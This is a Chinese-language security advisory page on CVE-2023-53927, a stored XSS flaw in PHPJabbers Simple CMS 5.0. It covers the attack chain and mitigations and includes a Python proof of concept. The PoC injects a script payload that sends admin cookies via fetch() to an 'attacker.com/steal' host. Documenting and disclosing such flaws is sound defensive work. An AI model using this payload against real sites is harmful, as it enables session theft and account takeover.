IPBUF安全漏洞报告
English
CVE-2023-53927 CVSS 5.4 中危

CVE-2023-53927 | PHPJabbers Simple CMS 5.0 存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53927
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
PHPJabbers Simple CMS 5.0

相关标签

存储型XSS跨站脚本CVE-2023-53927PHPJabbersCMS漏洞Web安全认证绕过

漏洞概述

CVE-2023-53927是PHPJabbers Simple CMS 5.0中存在的一个存储型跨站脚本(Stored Cross-Site Scripting)漏洞。该漏洞允许已认证的低权限攻击者通过section name参数注入恶意JavaScript脚本。由于是存储型XSS,恶意脚本会被永久保存在服务器端,当管理员或其他用户访问受影响的页面时,嵌入的恶意代码会在其浏览器中执行。攻击者可利用此漏洞窃取会话cookie、劫持用户会话、进行钓鱼攻击或修改页面内容,对网站安全性造成严重威胁。漏洞利用需要攻击者具备有效的低权限账户,并通过用户交互触发(管理员查看section),CVSS评分为5.4,属于中危级别。

技术细节

该漏洞存在于PHPJabbers Simple CMS 5.0的section创建功能中。攻击者通过在section name参数中注入恶意JavaScript代码(如<script>alert(document.cookie)</script>),系统未能对用户输入进行充分的输入验证和输出编码,导致恶意脚本被存储在数据库中。当管理员访问管理后台或相关页面查看sections列表时,服务器从数据库读取并展示section name,浏览器将其作为HTML解析执行,从而触发XSS攻击。攻击者可以利用此漏洞获取管理员的认证凭证,进行进一步的攻击。由于漏洞位于内容管理系统的核心功能,任何可创建section的低权限用户都可利用此漏洞,风险范围较广。

攻击链分析

STEP 1
1
攻击者获取PHPJabbers Simple CMS的低权限账户(如普通用户或编辑角色)
STEP 2
2
攻击者访问section创建功能,在section name参数中注入恶意JavaScript代码(如<script>alert(document.cookie)</script>)
STEP 3
3
系统未能对输入进行充分验证和过滤,将恶意脚本存储到数据库中
STEP 4
4
管理员登录后台访问sections管理页面或相关内容页面
STEP 5
5
服务器从数据库读取section name并返回给浏览器,浏览器将其作为HTML解析执行
STEP 6
6
恶意JavaScript在管理员浏览器中执行,可窃取会话cookie、劫持账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53927 Stored XSS PoC # Target: PHPJabbers Simple CMS 5.0 # Vulnerability: Stored XSS via section name parameter import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target.com/phpjabbers-cms" USERNAME = "attacker" PASSWORD = "password" def login(session): """Authenticate with the CMS""" login_url = f"{TARGET_URL}/index.php?controller=pjAdmin&action=pjActionLogin" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return "pj_auth" in session.cookies or response.status_code == 200 def create_malicious_section(session): """Create a section with XSS payload in name""" section_url = f"{TARGET_URL}/index.php?controller=pjSections&action=pjActionCreate" # XSS payload - steals cookies when admin views section xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' data = { "section_name": xss_payload, "section_content": "Malicious section content", "status": 1 } response = session.post(section_url, data=data) return response.status_code == 200 def main(): session = requests.Session() print("[*] Logging into PHPJabbers Simple CMS...") if not login(session): print("[-] Login failed") sys.exit(1) print("[+] Login successful") print("[*] Creating malicious section...") if create_malicious_section(session): print("[+] Malicious section created successfully") print("[*] XSS payload will execute when admin views the section") else: print("[-] Failed to create section") if __name__ == "__main__": main()

影响范围

PHPJabbers Simple CMS 5.0

防御指南

临时缓解措施
在厂商发布正式修复版本之前,可采取以下临时缓解措施:1)对section name等用户可控参数实施严格的输入长度和字符类型限制;2)在输出时对HTML特殊字符进行实体编码转义;3)部署WAF(Web应用防火墙)规则检测和拦截XSS攻击特征;4)限制低权限用户创建section的功能;5)加强管理员会话管理,定期更换认证凭据;6)监控日志中的可疑XSS攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表